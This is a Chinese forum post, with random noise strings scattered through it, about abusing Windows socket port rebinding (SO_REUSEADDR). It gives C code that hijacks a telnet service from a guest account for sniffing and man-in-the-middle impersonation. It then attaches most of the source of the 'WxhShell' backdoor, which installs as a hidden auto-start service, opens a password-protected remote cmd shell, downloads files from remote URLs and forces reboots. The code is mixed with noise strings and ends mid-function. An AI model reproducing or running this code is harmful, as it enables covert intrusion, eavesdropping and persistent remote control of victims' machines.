-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %f(S'<DhC s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C]'g:93L f<89$/w saddr.sin_family = AF_INET; ^Cg^`n?@b e3eVvl5] saddr.sin_addr.s_addr = htonl(INADDR_ANY); ejklpa ./ $(gGoL< bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); fpvvV( 1OJ*wI* 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |mxNUo- S<nP80C 这意味着什么?意味着可以进行如下的攻击: :p<kQ4
w<65S 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PW%1xHLfk b,s Gq 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) WRD
A ` 2@ 9pr 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W|dpFh` qO-C%p
[5 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 MBB5wj r219M)D? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ZBX 0e+W/Tq 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >5;N64]!) Y{Da+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 sEce{"VC z2w;oM$g #include 'y9*uT~ #include J/'M N #include wE$s'e #include U:]MgZWn DWORD WINAPI ClientThread(LPVOID lpParam); F7{R~mS; int main() c>ad0xce6 { |2)Sd[q WORD wVersionRequested; dEASvD' DWORD ret; hq<5lE^ WSADATA wsaData; TDlZ!$g( BOOL val; 3J%V%}mD SOCKADDR_IN saddr; q2e]3{l3 SOCKADDR_IN scaddr; ljPq2v ] int err; {-@~Q.&}v SOCKET s; =}JBA>q( SOCKET sc; l'U1
01M>F int caddsize; AnNPTi HANDLE mt; Y4#y34We DWORD tid; =<{h^-j;a wVersionRequested = MAKEWORD( 2, 2 ); #{!O,`qD err = WSAStartup( wVersionRequested, &wsaData ); R]u
(l+` if ( err != 0 ) { lv4(4$T printf("error!WSAStartup failed!\n"); ]cIu|bRO return -1; -~
0] 7Cpl } ?g2zmI!U saddr.sin_family = AF_INET; W`$[j0 0
y<k][ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .f>,6? Dg~
[#C- saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .nEs:yn saddr.sin_port = htons(23); Is13: if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2 H[ ; v + { {Eu'v$c! printf("error!socket failed!\n"); T2wv0sHlt return -1; IX9K.f } 0[/vQ+O ]2 val = TRUE; "B#Y- //SO_REUSEADDR选项就是可以实现端口重绑定的 A 4j<\xL if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3gpo
% { XaW4C-D& printf("error!setsockopt failed!\n"); bGN
5 4{f return -1; a/~29gW8E\ }
="\*h( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Gn59yG!4 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 CtM'L //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]:&n-&@L ^'vIOq-1v if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &<Mt=(qY1 { '[nmFCG%m* ret=GetLastError(); @l~7x printf("error!bind failed!\n"); "tL2F*F"6X return -1; 7 _g+^e-" } >AG^fUArH listen(s,2); "9@,l! while(1) cZ|lCy^ { y"vX~LR caddsize = sizeof(scaddr); ,/&Z3e //接受连接请求 @`w n<%o$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S[mM4et| if(sc!=INVALID_SOCKET) vZ@g@zB4o0 { |3;(~a)% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p<KIF>rf| if(mt==NULL) D{p5/#|r { dQ9
ah printf("Thread Creat Failed!\n"); \ZSTKi? break; *|YU]b;W } RN[]Jt#6 } +K^h!d] CloseHandle(mt); tz4
]hF } ;
0ko@ \Lq closesocket(s); %/T7Z;d WSACleanup(); o G_C?(7> return 0; QU T"z' } O*G1 QX DWORD WINAPI ClientThread(LPVOID lpParam) l~J*' m2 { IU#x[P! SOCKET ss = (SOCKET)lpParam; 5ZK&fKeCF SOCKET sc; "MnSJ2 unsigned char buf[4096]; s+,&|;Q SOCKADDR_IN saddr; m'x;,xfY&F long num; b,@aqu DWORD val; C>X|VP|C DWORD ret; ]^K;goQv //如果是隐藏端口应用的话,可以在此处加一些判断 *HE^1IEl //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 L8&D(wh/f saddr.sin_family = AF_INET; 8>N wCjN saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !msNEE@[ saddr.sin_port = htons(23); {%b
}Z2
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jdj?I'XtY { |~K(F<;j printf("error!socket failed!\n"); +Ok%e.\ZM return -1; 2z_2.0/3 } 3c #s|qW val = 100; XE rUS80 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?Elg?)os { V8PLFt; ret = GetLastError(); "DQ'C%sL9 return -1; ^Ga&}- } %=Tr^{i if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;..o7I { ZFvyL8o ret = GetLastError(); ^jD1vUL 2: return -1; a#0;==# } A:# k if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P)6lu8zQ { H&4~Uo.5 printf("error!socket connect failed!\n"); Rc[ 0aj: closesocket(sc); zY=jXa)K~ closesocket(ss); A\QJLWBv^$ return -1; (\,BxvhG= } 9}P"^N while(1) vF4]ux&
{ |L::bx( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #X`8dnQZ //如果是嗅探内容的话,可以再此处进行内容分析和记录 K84^Oq //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^G|98yc!' num = recv(ss,buf,4096,0); xT*d/Oa w if(num>0) jz'< send(sc,buf,num,0); 6bO~/mpWT~ else if(num==0) a~]bD break; 'g)n1 { num = recv(sc,buf,4096,0); U|@V
74 if(num>0) h7yqk4'Lq send(ss,buf,num,0); Ev9> @~^ else if(num==0) }-DE`c break; izZ=d5+K } 06mlj6hV closesocket(ss); 4Ysb5m)u closesocket(sc); 3x@<Z68S return 0 ; )9v`f9X){ } `BY&>WY[ uQqWew8l+ Pbu{'y3J ========================================================== v?:: |{ kH948<fk3 下边附上一个代码,,WXhSHELL 9X}I> ) R2XU ========================================================== OJO!FH) SOf{Hx0C6 #include "stdafx.h" GK*v{` ZcE_f>KV #include <stdio.h> Vb|#MNf) #include <string.h> ZC0-wr\ #include <windows.h> g"_C,XN #include <winsock2.h> `#mK*Buem} #include <winsvc.h> oG oK, #include <urlmon.h> Shr,#wwM`B FnFb[I@eu #pragma comment (lib, "Ws2_32.lib") 'LE"#2Hu #pragma comment (lib, "urlmon.lib") {zLhiUH
a0 3ec`Wa
#define MAX_USER 100 // 最大客户端连接数 iw9Q18:I} #define BUF_SOCK 200 // sock buffer 5F"|E-; #define KEY_BUFF 255 // 输入 buffer B4Y(?JTx #*%q'gyHT #define REBOOT 0 // 重启 tY|8s]{2 #define SHUTDOWN 1 // 关机 ~x:DXEV, G}d-(X #define DEF_PORT 5000 // 监听端口 m#!=3P7T YB( Gk;] #define REG_LEN 16 // 注册表键长度 Qdk6Qubi! #define SVC_LEN 80 // NT服务名长度 v`PY>c6~ *Zk>2<^R // 从dll定义API &a0r%L()X typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5z}w}zdg typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 23F/\2MSG typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u.XQ& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `:NaEF?Sj d3Mva,bw< // wxhshell配置信息 G3i !PwW struct WSCFG { =+:{P?*} int ws_port; // 监听端口 :mppv8bh char ws_passstr[REG_LEN]; // 口令 J:*-gwv9*m int ws_autoins; // 安装标记, 1=yes 0=no y046:@v( char ws_regname[REG_LEN]; // 注册表键名 "SxLN
8.: char ws_svcname[REG_LEN]; // 服务名 K>Fqf
+_ char ws_svcdisp[SVC_LEN]; // 服务显示名 bUwn}_7b char ws_svcdesc[SVC_LEN]; // 服务描述信息 2}6%qgnT- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l |2D/K5 int ws_downexe; // 下载执行标记, 1=yes 0=no V9yl4q-bL char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" s^Nw%KAv char ws_filenam[SVC_LEN]; // 下载后保存的文件名 - YqYcer b}^S.;vNj }; LpbsYl v X~RP
* // default Wxhshell configuration DTRJ/@t struct WSCFG wscfg={DEF_PORT, 9m2, qr| "xuhuanlingzhe", 1/+C5Bp* 1, '@|_OmcY "Wxhshell", 1$/MrPT(b "Wxhshell", $@-P5WcRs "WxhShell Service", zE T^T5>: "Wrsky Windows CmdShell Service", B(g_Gm< "Please Input Your Password: ", c,MOv7{x_ 1, 7cP@jj " http://www.wrsky.com/wxhshell.exe", <*ZJaBwWU~ "Wxhshell.exe" Kb#4ILA }; S^@S%Eg !^#jwRpeN // 消息定义模块 a]17qMl char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >eQr<-8 char *msg_ws_prompt="\n\r? for help\n\r#>"; ^|~mlY@w char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; H<hVTc{K char *msg_ws_ext="\n\rExit."; !3n)|~r;K char *msg_ws_end="\n\rQuit."; @}p2aV59 char *msg_ws_boot="\n\rReboot..."; (tah]Bx char *msg_ws_poff="\n\rShutdown..."; w27KI]%( char *msg_ws_down="\n\rSave to "; }U ~6^2 ., wcSyw2D char *msg_ws_err="\n\rErr!"; }0#U;_;D char *msg_ws_ok="\n\rOK!"; h`
U?1xS - O98pi char ExeFile[MAX_PATH]; >2$5eI int nUser = 0; C
(n+SY^ HANDLE handles[MAX_USER]; J?@DGp+t int OsIsNt; GcIDG`RX \6n!3FLl SERVICE_STATUS serviceStatus; q\Q{sv_ SERVICE_STATUS_HANDLE hServiceStatusHandle; TNCgaTJ{h #4MBoN(3 // 函数声明 <9E0iz+j int Install(void); ptatzp]c# int Uninstall(void); O<PO^pi int DownloadFile(char *sURL, SOCKET wsh); 6vuq1 int Boot(int flag); [Aj Q#;#Q void HideProc(void); LZJA4?C int GetOsVer(void); Ee)[\Qjn int Wxhshell(SOCKET wsl); Ds#/ void TalkWithClient(void *cs); kIw`P[ int CmdShell(SOCKET sock); E#J';tUQ int StartFromService(void); Wt)Drv{@ { int StartWxhshell(LPSTR lpCmdLine); 'w>_+jLT #/"8F O%~p VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WV3|?,y]qm VOID WINAPI NTServiceHandler( DWORD fdwControl ); W>r#RXmh ?]fF3 SJk // 数据结构和表定义 hT$~ygQ SERVICE_TABLE_ENTRY DispatchTable[] = qPB8O1fyU { tO7v4 {wscfg.ws_svcname, NTServiceMain}, IEKU-k7}Z {NULL, NULL} !TZhQiorC }; C{sLz9 S(S# // 自我安装 xq-17HKs int Install(void) 7^wc)E^H { :tIC~GG]_) char svExeFile[MAX_PATH]; IDkWGh HKEY key; /27JevE strcpy(svExeFile,ExeFile); 2LrJ>Mi /{wJEuE // 如果是win9x系统,修改注册表设为自启动 \!( if(!OsIsNt) { ul%h@=n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZX ?yL>4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vS\%3A4^+5 RegCloseKey(key); TG}*5Z` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0TfS=scT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tz#gClo RegCloseKey(key); 4h@Z/G!T3 return 0; /9o!*K } JnHo 9K2. } !d<"nx[2` } k(zsm"<q else { V.os O: @}lK+H // 如果是NT以上系统,安装为系统服务 NCxqh < SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RoCfJ65 if (schSCManager!=0) T\Uek-( { iXyO(w4D SC_HANDLE schService = CreateService <0yE
5Mrf ( *f,DhT/P schSCManager, J]m{b09F wscfg.ws_svcname, u6`=x$& wscfg.ws_svcdisp, xs\!$*R SERVICE_ALL_ACCESS, fc/ &X SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ? uYu`Ojzr SERVICE_AUTO_START, .(pN5JI* SERVICE_ERROR_NORMAL, &/Ro lIHF svExeFile, 2X:4CC%5 NULL, 8$(Dz]v|[& NULL, !61Pl/uQ NULL, !LkWzn3 NULL, ?Ma~^0 NULL |_omr&[_ ); D;UV&.$'v if (schService!=0) hp{OL< 2M { ^Rx9w!pAN CloseServiceHandle(schService); Vi4~`;|&b+ CloseServiceHandle(schSCManager); kId
n6 Wx, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A
AHt218 strcat(svExeFile,wscfg.ws_svcname); .uNQBBNv if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `%09xMPu RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mhW-J6u* RegCloseKey(key); )'*5R <# return 0; &$`yo` } DGevE~ } ,f1q)Qf CloseServiceHandle(schSCManager); ^$&k5e/}C } rDm'Z>nTf } jy]JiQB `DT3x{}_S return 1; tzy'G"P| } )xb|3&+W Rb(SBa // 自我卸载
aR,}W\6M int Uninstall(void) TYI7<-Mp:[ { >vuY+o;B HKEY key; wvrrMGU)a 7\ nf:. if(!OsIsNt) {
9CCkqB/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *D'$"@w3 RegDeleteValue(key,wscfg.ws_regname); q~o,WZG RegCloseKey(key); +za8=`2o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U^qt6$bK RegDeleteValue(key,wscfg.ws_regname); S1/`th RegCloseKey(key); w[6J
` return 0; Hcc"b0>}{ } %Th>C2\ } @iEA:?9uX } &Q}*+Y]G else { Xn~I=Ml d &-5_f*{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _-5,zPR if (schSCManager!=0) rp5(pV7* {
BUwONF SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P ~PIMkt if (schService!=0) o[H{(f1% { :SxW.?[%u if(DeleteService(schService)!=0) { v\`9;QV5 CloseServiceHandle(schService); p-+K4 CloseServiceHandle(schSCManager); 8EVgoJ. return 0; "_2Ng<2 }
:ujCr. CloseServiceHandle(schService); TNQP"9[? } s}pIk.4ot! CloseServiceHandle(schSCManager); D1nq2GwS } w,R[C\#J } P;pl,~ 2>*%q%81 return 1; e[Abp~@M1 } =TqQbadp yjJ5P`j] // 从指定url下载文件 /O]t R int DownloadFile(char *sURL, SOCKET wsh) n ]dL?BJ { pH`44KAuM HRESULT hr; p _d:eZ char seps[]= "/"; erO>1 ,4S char *token; GWvH[0 char *file; 9}z0J char myURL[MAX_PATH]; QM?#{%31 char myFILE[MAX_PATH]; &sF^Fgg{ r!,}Z=cGe strcpy(myURL,sURL); fvb=#58N_ token=strtok(myURL,seps); tl'n->G>v while(token!=NULL) C{2xHd/* { m! U9m file=token; oA1a /[# token=strtok(NULL,seps); inlk++Og } "(qw-kil fAB e GetCurrentDirectory(MAX_PATH,myFILE); ." $ strcat(myFILE, "\\"); jF[ 1za strcat(myFILE, file); U\rh[0 send(wsh,myFILE,strlen(myFILE),0); y,pZTlE send(wsh,"...",3,0); N?X~ w < hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |pa$*/!NT if(hr==S_OK) h=_mNG>R) return 0; @,XSs else 2 1PFR:lP7 return 1; ![f ![l /t-fjB{=G } vd6l7"0/ vf4{$Oag // 系统电源模块 Q]o C47( int Boot(int flag) ItVugI(^ C { $H$j-)\D HANDLE hToken; -|rLs$V1r TOKEN_PRIVILEGES tkp; !;_H$r0 `-3o+ID\ if(OsIsNt) { !z{-?o/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wb Iq&>p LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kF>o.uSV tkp.PrivilegeCount = 1; {)AMw q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4~U'TE
@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jmg!Ml if(flag==REBOOT) { pKS
{ 6P if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {-BRt)L[ return 0; f3|@|'
; } fqu}Le else { 9_sA&2P{uV if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rxme(9M return 0; MQ)L:R`L } sdCvG R e } }h 3K@R
else { .vG,fuf8 if(flag==REBOOT) { 7Ol}EPf# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H:H6b return 0; OCy0#aPRS } u{z``] else { ` ]Ppau if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0P>OJYFr' return 0; +y 87~]] } WL+]4Wiz } L#)(H^[ 8QK5z;E2~ return 1; *._|- L } Dup;e&9g .d/:30Y // win9x进程隐藏模块 PQ|69*2G void HideProc(void) 7w;O}axI { 2BCtJ`S` JY!l!xH(6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7=]i~7uy if ( hKernel != NULL ) flgRpXt { wM[~2C=vx pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bxK(9. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E+C5 h
;p& FreeLibrary(hKernel); i@NqC;~; } 4 g.
bR !A1)|/a@ return; 6dAEM;$_Z } 6n1rL 20rkKFk* // 获取操作系统版本 {G*A.$-d int GetOsVer(void) ceGa([#!\_ { e4FM} z[ OSVERSIONINFO winfo; 1y^K/.5- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zY+Fl~$S GetVersionEx(&winfo); >+5?F*`\D* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;V<iL? return 1; DP/J(>eG else ,&U4a1%i#c return 0; Hqh6:RuL } V0nn4dVO 2k6 X, // 客户端句柄模块 1+`l7'F int Wxhshell(SOCKET wsl) ^w~23g. { qz4^{ SOCKET wsh; CXtU"X struct sockaddr_in client; `bKA+c,f DWORD myID; }6 5s'JB 63?)K s while(nUser<MAX_USER) :Sg_tOf { p
(FlR?= S int nSize=sizeof(client); k#bu#YZk wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JN6-Z2 if(wsh==INVALID_SOCKET) return 1; >s3gqSDR fQ+VT|jzx handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [~D|peM3 if(handles[nUser]==0) :`)~-`_ closesocket(wsh); *=Z26 else ]aCk_*U nUser++; l!E7AKk8 } #<( = }? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eK /?%t TST4Vy3 return 0; j\RpO'+} } Pag63njg? _B2V "p // 关闭 socket >*twTlb{ void CloseIt(SOCKET wsh) #sKWd { 5W
=(+Q>C closesocket(wsh); ~{>?*Gd&T nUser--; t"j|nz{m ExitThread(0); B@Nt`ky0* } ,~zj=F b=a!j=-D // 客户端请求句柄 ea=83 Zj void TalkWithClient(void *cs) Wi n8LOC { 0%s|Zbo!> nRhrWS SOCKET wsh=(SOCKET)cs; q^rl) char pwd[SVC_LEN]; k&hc m char cmd[KEY_BUFF]; AgF5-tz6x char chr[1]; +)nT|w45 int i,j; O gmO&cE 8|twV35 while (nUser < MAX_USER) { NkxCs h!&sNzX if(wscfg.ws_passstr) { PU9`<3z5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <I;*[;AK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T)7TyE|"2g //ZeroMemory(pwd,KEY_BUFF); z1 i &Ge i=0; (B>Zaro# while(i<SVC_LEN) { >zY \Llv F)$K // 设置超时 wN37zPnV~ fd_set FdRead; ;@ WV-bLe struct timeval TimeOut; WKA'=,`v FD_ZERO(&FdRead); D 7shiv|, FD_SET(wsh,&FdRead); J3S&3+2G TimeOut.tv_sec=8; Mu_i$j$vvP TimeOut.tv_usec=0; T#:F]= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vd#,DU=p! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2>S~I"o0 ?3sT"r_d@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ")s!L"x pwd =chr[0]; d_}a`H if(chr[0]==0xd || chr[0]==0xa) { HW=xvA+ pwd=0; "C%!8`K{a* break; D1,O:+[;. } b'>8ZIY i++; ;i#LIHJ } \9)[#Ld Mj0Cat= // 如果是非法用户,关闭 socket p}]q d4j if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >', y } ;kaHN;4? {7Cx#Ewd send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a j|5 # send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U2*6}c< `0BdMKjA while(1) { a
ib}`l ^[h2% c$ ZeroMemory(cmd,KEY_BUFF); 2xmk,&s HOYq?40.R // 自动支持客户端 telnet标准 5!fSW2N j=0; ^6 /j_G while(j<KEY_BUFF) { "2n;3ByR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L9IGK< cmd[j]=chr[0]; [j6~}zu@ if(chr[0]==0xa || chr[0]==0xd) { ||TtNH cmd[j]=0; G=M] 8+h break; !awh*Xj6 } Oo%!>!Lt, j++; 3
%(Y$8U } AfWl6a?T8: rFag@Z"[" // 下载文件 #!!AbuhzK{ if(strstr(cmd,"http://")) { >.dHt\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 993d/z|DX if(DownloadFile(cmd,wsh)) Y4~vC[$x' send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3\!F\tqD \ else \ 3NS>v[1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I"!'AI- } ":WYcaSi else { *d*oS7 |i)lh_iN switch(cmd[0]) { 5 Rz/Ri\c= ^JhFI* // 帮助 e&J3N case '?': { 9$tl00 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N2~$rpU3 break; cIw
eBDl } o<4D=.g7D // 安装 dt-K case 'i': { (-(*XNC if(Install()) CV^0. send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]xq::a{Oy else <%!J? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PKtU:Eg break; Z*bC#s? } GAU!_M5 N // 卸载 yKDZ+3xK] case 'r': { sMi{"`37 if(Uninstall()) $v&C@l \ send(wsh,msg_ws_err,strlen(msg_ws_err),0); N~g%wf@w else ?:}Pa<D&K send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SMq9j,k break; qc0 B<,x7 } atnQC // 显示 wxhshell 所在路径 ('WY5Yps case 'p': { ,+-? Zv 2 char svExeFile[MAX_PATH]; oeNzHp_ strcpy(svExeFile,"\n\r"); #\b ;2> strcat(svExeFile,ExeFile); a>b8-j=J send(wsh,svExeFile,strlen(svExeFile),0); [-VGArD[k, break; "|4jPza } gB+
G'I // 重启 UvD-C?u' case 'b': { lwsbm D send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aY j%w if(Boot(REBOOT)) 9--dRTG send(wsh,msg_ws_err,strlen(msg_ws_err),0); =h\E<dw else { "]<}Hy closesocket(wsh); ]31$KBC ExitThread(0); F50JJZ } eUs-5
L break; )VY10R)$ } 5+y`P$K@ // 关机 "A7<XN< case 'd': { 0ny{)Sd6um send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V Cf|`V~ G if(Boot(SHUTDOWN)) 0#`)Prop6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); YKq0f=Ij else { FQ## 397 closesocket(wsh); 7:kCb[ji" ExitThread(0); ;Vo mFp L } =, TS MV break; `e*61k5 } b Fn(w:1Q // 获取shell PSEWL6=]N case 's': {
?360SQ< CmdShell(wsh); w -dI<s closesocket(wsh); .D3`'K3t{[ ExitThread(0); ^N{X " break; \P@S"QO } pE(sV{PD // 退出 _Y7:!-n} case 'x': { x:C@)CAr send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !OQuEJR CloseIt(wsh); EOQaY break; +I.v!P!^ } FoLDMx( // 离开 '8={ sMy case 'q': { Fva]*5 send(wsh,msg_ws_end,strlen(msg_ws_end),0); &[)D]UL closesocket(wsh); PHl4 vh#E! WSACleanup(); uH]
m]t exit(1); XC}1_VWs break; ]gHLcr3 } w<mqe0 } VwC4QK,d; } fr]Hc+7 /'"R Mq // 提示信息 n531rkK- if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qu!<lW~c } *cQz[S@F } 'rh\CA/}D _0*=u$~R return; ,L~snR'w } >E~~7Yal g6`.qyVfz' // shell模块句柄 oo'iwq-\ int CmdShell(SOCKET sock) |} 9GHjG { VHj*aBHB STARTUPINFO si; -rRz@Cr ZeroMemory(&si,sizeof(si)); +ruj si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v<`$bvv? si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pd,!& PROCESS_INFORMATION ProcessInfo; ^W k0*.wg char cmdline[]="cmd"; 0pCDEs CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m9k2h1 return 0; >["Kd.ye } hN}5u"pS %D. @L // 自身启动模式 x;*VCs int StartFromService(void) lvG3<ls0K$ { . *Z#cq0 typedef struct F-i&M1\_ { 78gob&p? DWORD ExitStatus; 0x6@{0 DWORD PebBaseAddress; }:"R-s DWORD AffinityMask; ELD
